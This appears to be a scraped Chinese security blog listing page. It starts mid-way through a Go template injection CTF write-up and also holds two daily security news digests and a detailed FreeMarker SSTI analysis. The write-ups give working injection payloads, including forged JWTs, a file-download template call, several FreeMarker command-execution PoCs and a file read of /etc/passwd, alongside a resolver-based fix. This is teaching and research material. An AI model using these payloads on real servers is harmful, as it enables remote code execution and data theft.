http.HandleFunc("/", root_handler) http.HandleFunc("/auth", auth_handler) http.HandleFunc("/flag", flag_handler) http.HandleFunc("/regist", regist_handler) log.Fatal(http.ListenAndServe("0.0.0.0:11000", nil)) } 我们先对几个路由和其对应的函数进行分析。 struct结构 type Account struct { id         string pw         string is_admin   bool secret_key string } 注册功能 func regist_handler(w http.ResponseWriter, r *http.Request) {    uid := r.FormValue("id")    upw := r.FormValue("pw")    if uid == "" || upw == "" {        return   }    if get_account(uid).id != "" {        w.WriteHeader(http.StatusForbidden)        return   }    if len(acc) > 4 {        clear_account()   }    new_acc := Account{uid, upw, false, secret_key} //创建新用户    acc = append(acc, new_acc)    p := Resp{true, ""}    res, err := json.Marshal(p)    if err != nil {   }    w.Write(res)    return } 登录功能 func auth_handler(w http.ResponseWriter, r *http.Request) {    uid := r.FormValue("id")    upw := r.FormValue("pw")    if uid == "" || upw == "" {        return   }    if len(acc) > 1024 {        clear_account()   }    user_acc := get_account(uid)    if user_acc.id != "" && user_acc.pw == upw {    //检验id和pw        token, err := jwt_encode(user_acc.id, user_acc.is_admin)        if err != nil {            return       }        p := TokenResp{true, token}     //返回token        res, err := json.Marshal(p)        if err != nil {       }        w.Write(res)        return   }    w.WriteHeader(http.StatusForbidden)    return } 认证功能 func root_handler(w http.ResponseWriter, r *http.Request) {    token := r.Header.Get("X-Token")    if token != "" {    //根据token解出id,根据uid取出对应account        id, _ := jwt_decode(token)        acc := get_account(id)        tpl, err := template.New("").Parse("Logged in as " + acc.id)        if err != nil {       }        tpl.Execute(w, &acc)   } else {        return   } } 得到account func get_account(uid string) Account {    for i := range acc {        if acc[i].id == uid {            return acc[i]       }   }    return Account{} } flag路由 func flag_handler(w http.ResponseWriter, r *http.Request) {    token := r.Header.Get("X-Token")    if token != "" {        id, is_admin := jwt_decode(token)        if is_admin == true {   //将is_admin修改为true即可得到flag            p := Resp{true, "Hi " + id + ", flag is " + flag}            res, err := json.Marshal(p)            if err != nil {           }            w.Write(res)            return       } else {            w.WriteHeader(http.StatusForbidden)            return       }   } } 所以思路就清晰了,我们需要得到secret_key,然后继续jwt伪造得到flag。 而由于root_handler函数中得到的acc是数组中的地址,即会在全局变量acc函数中查找我们的用户,这时传入{{.secret_key}}会返回空,所以我们用{{.}}来得到结构体内所有内容。 /regist?id={{.}}&pw=123 /auth?id={{.}}&pw=123{"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.0Lz_3fTyhGxWGwZnw3hM_5TzDfrk0oULzLWF4rRfMss"} 带上token重新访问 Logged in as {{{.}} 123 false this_is_f4Ke_key} 得到secret_key,进行jwt伪造,把 is_admin修改为true,key填上secret_key得到 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOnRydWV9.3OXFk-f_S2XqPdzHnl0esmJQXuTSXuA1IbpaGOMyvWo 带上token访问/flag [WeCTF2022]request-bin 洁白一片,使用{{.}}进行检测 这道题目采用的框架是iris,用户可以对日志的格式参数进行控制,而参数又会被当成模板渲染,所以我们就可以利用该点进行ssti。 我们需要的是进行文件的读取,所以我们需要看看iris的accesslog库的模板注入如何利用。 在Accesslog的结构体中可以发现 type Log struct { // The AccessLog instance this Log was created of. Logger *AccessLog `json:"-" yaml:"-" toml:"-"` // The time the log is created. Now time.Time `json:"-" yaml:"-" toml:"-"` // TimeFormat selected to print the Time as string, // useful on Template Formatter. TimeFormat string `json:"-" yaml:"-" toml:"-"` // Timestamp the Now's unix timestamp (milliseconds). Timestamp int64 `json:"timestamp" csv:"timestamp"` // Request-Response latency. Latency time.Duration `json:"latency" csv:"latency"` // The response status code. Code int `json:"code" csv:"code"` // Init request's Method and Path. Method string `json:"method" csv:"method"` Path   string `json:"path" csv:"path"` // The Remote Address. IP string `json:"ip,omitempty" csv:"ip,omitempty"` // Sorted URL Query arguments. Query []memstore.StringEntry `json:"query,omitempty" csv:"query,omitempty"` // Dynamic path parameters. PathParams memstore.Store `json:"params,omitempty" csv:"params,omitempty"` // Fields any data information useful to represent this Log. Fields memstore.Store `json:"fields,omitempty" csv:"fields,omitempty"` // The Request and Response raw bodies. // If they are escaped (e.g. JSON), // A third-party software can read it through: // data, _ := strconv.Unquote(log.Request) // err := json.Unmarshal([]byte(data), &customStruct) Request  string `json:"request,omitempty" csv:"request,omitempty"` Response string `json:"response,omitempty" csv:"response,omitempty"` // The actual number of bytes received and sent on the network (headers + body or body only). BytesReceived int `json:"bytes_received,omitempty" csv:"bytes_received,omitempty"` BytesSent     int `json:"bytes_sent,omitempty" csv:"bytes_sent,omitempty"` // A copy of the Request's Context when Async is true (safe to use concurrently), // otherwise it's the current Context (not safe for concurrent access). Ctx *context.Context `json:"-" yaml:"-" toml:"-"` } 这里我们经过审查,会发现context里面存在SendFile进行文件强制下载。 所以我们可以构造payload如下 {{ .Ctx.SendFile "/flag" "1.txt"}} 后言 golang的template跟很多模板引擎的语法差不多,比如双花括号指定可解析的对象,假如我们传入的参数是可解析的,就有可能造成泄露,其本质就是合并替换,而常用的检测payload可以用占位符.,对于该漏洞的防御也是多注意对传入参数的控制。
网络安全日报 2022年11月23日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、数千个应用泄露了 AlgoliaAPI 密钥,数百万用户数据受到威胁 https://www.securityweek.com/leaked-algolia-api-keys-exposed-data-millions-users 2、BMC 固件漏洞使 OT、物联网设备遭受远程攻击 https://www.securityweek.com/bmc-firmware-vulnerabilities-expose-ot-iot-devices-remote-attacks 3、微软在安全补丁导致 Kerberos 问题后发布带外更新 https://www.securityweek.com/microsoft-releases-out-band-update-after-security-patch-causes-kerberos-issues 4、基于Go的新型恶意软件“Aurora”被至少七个黑客组织采用 https://www.bleepingcomputer.com/news/security/aurora-infostealer-malware-increasingly-adopted-by-cybergangs/ 5、研究人员发现用于窃取加密货币的谷歌浏览器恶意扩展程序 https://www.bleepingcomputer.com/news/security/google-chrome-extension-used-to-steal-cryptocurrency-passwords/ 6、思科安全电子邮件网关存在漏洞而被绕过 https://www.securityweek.com/cisco-secure-email-gateway-filters-bypassed-due-malware-scanner-issue 7、AWS解决了影响 AWS AppSync 的漏洞 https://therecord.media/amazon-addresses-vulnerability-affecting-aws-appsync/ 8、大连警方侦破利用“跑马机”设备非法控制计算机信息系统案 https://www.anquanke.com/post/id/283506 9、DTrack开始针对欧洲和拉丁美洲发起攻击 https://www.4hou.com/posts/JXMv 10、黑客在对DraftKings的撞库攻击中窃取30万美元 https://www.bleepingcomputer.com/news/security/hackers-steal-300-000-in-draftkings-credential-stuffing-attack/
Java FreeMarker模板引擎注入深入分析
0x01 前言 最近和 https://f1or.cn/ 大师傅一起挖洞的时候发现一处某 CMS SSTI 的 0day,之前自己在复现 jpress 的一些漏洞的时候也发现了 SSTI 这个洞杀伤力之大。今天来好好系统学习一手。 有三个最重要的模板,其实模板引擎本质上的原理差不多,因为在 SpringBoot 初学习的阶段我就已经学习过 Thymeleaf 了,所以大体上老生常谈的东西就不继续讲了。 三个模板的模板注入攻击差距其实还是有点大的,而且 Java 的 SSTI 和 Python Flask 的一些 SSTI 差距有点大。我们今天主要来看看 FreeMarker 的 SSTI 0x02 FreeMarker SSTI FreeMarker 官网:http://freemarker.foofun.cn/index.html 对应版本是 2.3.23,一会儿我们搭建环境的时候也用这个版本 FreeMarker 基础语法 关于文本与注释,本文不再强调,重点看插值与 FTL 指令。 插值 插值也叫 Interpolation,即 ${..} 或者 #{..} 格式的部分,将使用数据模型中的部分替代输出 比如这一个 .ftl 文件 <!DOCTYPE html>   <html lang="en">   <head>      <meta charset="UTF-8">      <title>Hello ${name}!</title>      <link href="/css/main.css" rel="stylesheet">   </head>   <body>      <h2 class="hello-title">Hello ${name}!</h2>      <script src="/js/main.js"></script>   </body>   </html> 那么 ${name} 的数据就会从传参里面拿,对应的这个是在 addAttribute 中的 name 参数 FTL 指令 FTL 指令以 # 开头,其他语法和 HTML 大致相同。 我这里其实也花了不少时间看了 FreeMarker 的基础语法,但是并非很透彻,就不误人子弟了,有兴趣的师傅可以自己前往 FreeMarker 手册查看。 https://freemarker.apache.org/ FreeMarker SSTI 成因与攻击面 看了一些文章,有些地方有所疏漏,先说 SSTI 的攻击面吧,我们都知道 SSTI 的攻击面其实是模板引擎的渲染,所以我们要让 Web 服务器将 HTML 语句渲染为模板引擎,前提是要先有 HTML 语句。那么 HTML 如何才能被弄上去呢?这就有关乎我们的攻击面了。 将 HTML 语句放到服务器上有两种方法: 1、文件上传 HTML 文件。 2、若某 CMS 自带有模板编辑功能,这种情况非常多。 因为之前有接触过 Thymeleaf 的 SSTI,Thymeleaf 的 SSTI 非常锋利, Thymeleaf SSTI 的攻击往往都是通过传参即可造成 RCE(当然这段话很可能是不严谨的 在刚接触 FreeMarker 的 SSTI 的时候,我误以为它和 Thyemelaf 一样,直接通过传参就可以打,后来发现我的想法是大错特错。 环境搭建 一些开发的基本功,因篇幅限制,我也不喜放这些代码的书写,贴个项目地址吧 https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/CodeReview漏洞复现 前文我有提到,FreeMarker 的 SSTI 必须得是获取到 HTML,再把它转换成模板,从而引发漏洞,所以这里要复现,只能把 HTML 语句插入到 .ftl 里面,太生硬了简直。。。。。不过和 F1or 师傅一起挖出来的 0day 则是比较灵活,有兴趣的师傅可以滴一下我 payload: <#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")} 构造出这个 PoC 的原因是 freemarker.template.utility.Execute 类里面存在如下图所示的命令执行方法,都写到脸上来了。 漏洞复现如图 漏洞分析 我们要分析的是,MVC 的思维,以及如何走到这个危险类 ———— freemarker.template.utility.Execute 去的。 下一个断点在 org.springframework.web.servlet.view.UrlBasedViewResolver#createView,开始调试 跟进 super.createView() 进一步跟进 loadView() 以及 buildView(),这些方法的业务意义都比较好理解,先 create 一个 View 视图,再将其 load 进来,最后再 build。 在 buildView() 方法当中,先通过 this.instantiateView() 的方式 new 了一个 FreeMarkerView 类,又进行了一些基础赋值,将我们的 View Build 了出来(也就是 View 变得有模有样了) 继续往下走,回到 loadView() 方法,loadView() 方法调用了 view.checkResource() 方法 checkResource() 方法做了两件事,第一件事是判断 Resource 当中的 url 是否为空,也就是判断是否存在 resource,如果 url 都没东西,那么后续的模板引擎加载就更不用说了;第二件事是进行 template 的获取,也可以把这理解为准备开始做模板引擎加载的业务了。 跟进 getTemplate() 方法 首先做了一些赋值判断,再判断 Template 的存在,我们跟进 this.cache.getTemplate 这里从 cache 里面取值,而在我们 putTemplate 设置模板的时候,也会将至存储到 cache中。 跟进 getTemplateInternal() 先做了一些基本的判断,到 202 行,跟进 lookupTemplate() 方法 这里代码很冗杂,最后的结果是跟进 `freemarker.cache.TemplateCache#lookupWithLocalizedThenAcquisitionStrategy 代码会先拼接 _zh_CN,再寻找未拼接 _zh_CN 的模板名,调用 this.findTemplateSource(path) 获取模板实例。 这里就获取到了 handle 执行返回的模板视图实例,这里我 IDEA 没有走过去,就跟着奶思师傅的文章先分析了。 org.springframework.web.servlet.DispatcherServlet#doDispatch 流程 handle 执行完成后调用 this.processDispatchResult(processedRequest, response, mappedHandler, mv, (Exception)dispatchException); 进行模板解析。 调用 view.render(mv.getModelInternal(), request, response); 一路跟进至 org.springframework.web.servlet.view.freemarker.FreeMarkerView#doRender 跟进 this.processTemplate() 跟进 process() process() 方法是做了一个输出(生成) HTML 文件或其他文件的工作,相当于渲染的最后一步了。 在 process() 方法中,会对 ftl 的文件进行遍历,读取一些信息,下面我们先说对于正常语句的处理,再说对于 ftl 表达式的处理。 在读取到每一条 freeMarker 表达式语句的时候,会二次调用 visit() 方法,而 visit() 方法又调用了 element.accept(),跟进 跟进 calculateInterpolatedStringOrMarkup() 方法 calculateInterpolatedStringOrMarkup() 方法做的业务是将模型强制为字符串或标记,跟进 eval() 方法 eval() 方法简单判断了 constantValue 是否为 null,这里 constantValue 为 null,跟进 this._eval(),一般的 _eval() 方法只是将 evn 获取一下,但是对于 ftl 语句就不是这样了,一般的 _eval() 方法如下 而对于 ftl 表达式来说,accept 方法是这样的 跟进一下 accept() 方法 做了一系列基础判断,先判断 namespaceExp 是否为 null,接着又判断 this.operatorType 是否等于 65536,到第 105 行,跟进 eval() 方法,再跟进 _eval() 我们可以看到 targetMethod 目前就是我们在 ftl 语句当中构造的那个能够进行命令执行的类,也就是说这一个语句相当于 Object result = targetMethod.exec(argumentStrings); // 等价于 Object result = freemarker.template.utility.Execute.exec(argumentStrings); 而这一步并非直接进行命令执行,而是先把这个类通过 newInstance() 的方式进行初始化。 命令执行的参数,会被拿出来,在下一次的同样流程中作为命令被执行,如图 至此,分析结束,很有意思的一个流程分析。 FreeMarker SSTI 的攻防二象性 我们目前的 PoC 是这么打的 <#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")} 这是因为 FreeMarker 的内置函数 new 导致的,下面我们简单介绍一下 FreeMarker的两个内置函数—— new 和 api 内置函数 new 可创建任意实现了 TemplateModel 接口的 Java 对象,同时还可以触发没有实现 TemplateModel 接口的类的静态初始化块。 以下两种常见的FreeMarker模版注入poc就是利用new函数,创建了继承 TemplateModel 接口的 freemarker.template.utility.JythonRuntime 和freemarker.template.utility.Execute API value?api 提供对 value 的 API(通常是 Java API)的访问,例如 value?api.someJavaMethod() 或 value?api.someBeanProperty。可通过 getClassLoader获取类加载器从而加载恶意类,或者也可以通过 getResource来实现任意文件读取。 但是,当api_builtin_enabled为 true 时才可使用 api 函数,而该配置在 2.3.22 版本之后默认为 false。 由此我们可以构造出一系列的 bypass PoC POC1 <#assign classLoader=object?api.class.protectionDomain.classLoader> <#assign clazz=classLoader.loadClass("ClassExposingGSON")> <#assign field=clazz?api.getField("GSON")> <#assign gson=field?api.get(null)> <#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))> ${ex("Calc"")} POC2 <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","Calc").start()} POC3 <#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc") POC4 <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("Calc") } 读取文件 <#assign is=object?api.class.getResourceAsStream("/Test.class")> FILE:[<#list 0..999999999 as _>    <#assign byte=is.read()>    <#if byte == -1>        <#break>    </#if> ${byte}, </#list>]<#assign uri=object?api.class.getResource("/").toURI()> <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()> <#assign is=input?api.getInputStream()> FILE:[<#list 0..999999999 as _>    <#assign byte=is.read()>    <#if byte == -1>        <#break>    </#if> ${byte}, </#list>] 从 2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析: 1、UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className) 获取任何类。 2、SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类。 3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。 可通过freemarker.core.Configurable#setNewBuiltinClassResolver方法设置TemplateClassResolver,从而限制通过new()函数对freemarker.templ FreeMarker SSTI 修复 因为 FreeMarker 不能直接传参打,所以此处的代码参考奶思师傅。 package freemarker; import freemarker.cache.StringTemplateLoader; import freemarker.core.TemplateClassResolver; import freemarker.template.Configuration; import freemarker.template.Template; import java.io.IOException; import java.io.OutputStreamWriter; import java.io.StringWriter; import java.util.HashMap; public class freemarker_ssti {    public static void main(String[] args) throws Exception {        //设置模板        HashMap<String, String> map = new HashMap<String, String>();        String poc ="<#assign aaa=\"freemarker.template.utility.Execute\"?new()> ${ aaa(\"open -a Calculator.app\") }";        System.out.println(poc);        StringTemplateLoader stringLoader = new StringTemplateLoader();        Configuration cfg = new Configuration();        stringLoader.putTemplate("name",poc);        cfg.setTemplateLoader(stringLoader);        //cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);        //处理解析模板        Template Template_name = cfg.getTemplate("name");        StringWriter stringWriter = new StringWriter();        Template_name.process(Template_name,stringWriter);   } } 防御成功 0x03 小结 比较其他两个模板引擎来说,FreeMarker 的 SSTI 更为严格一些,它的防护也做的相当有力,这个给自己挖个小坑吧,后续去看一看 FreeMarker 的代码当中是否存在强而有力的 bypass payload。
网络安全日报 2022年11月22日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、谷歌发布YARA规则和VirusTotal Collection,以帮助检测CobaltStrike https://www.securityweek.com/google-making-cobalt-strike-pentesting-tool-harder-abuse 2、研究人员发布了macOS 沙箱逃逸高危漏洞PoC 代码 https://www.securityweek.com/poc-code-published-high-severity-macos-sandbox-escape-vulnerability 3、Daixin 勒索软件团伙窃取了 500 万亚航乘客和员工的数据 https://thehackernews.com/2022/11/daixin-ransomware-gang-steals-5-million.html 4、臭名昭著的 Emotet 卷土重来,发起大量恶意垃圾邮件活动 https://thehackernews.com/2022/11/notorious-emotet-malware-returns-with.html 5、针对中东国家的网络钓鱼攻击在世界杯前激增 https://therecord.media/phishing-attacks-targeting-middle-east-countries-double-ahead-of-world-cup-report/ 6、 安全研究人员悄悄破解了勒索软件 Zeppelin https://www.solidot.org/story?sid=73414 7、印度政府发布《2022年个人数据保护法案》草案 https://www.freebuf.com/news/350314.html 8、Earth Preta 通过大规模鱼叉式网络钓鱼攻击多个行业 https://cyware.com/news/earth-preta-targets-multiple-sectors-with-large-scale-spear-phishing-ce639109 9、新攻击使用 Windows 安全绕过零日漏洞来投放恶意软件 https://www.bleepingcomputer.com/news/security/new-attacks-use-windows-security-bypass-zero-day-to-drop-malware/ 10、报告显示近半数 macOS 恶意程序来自一个应用-MacKeeper https://www.solidot.org/story?sid=73411
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页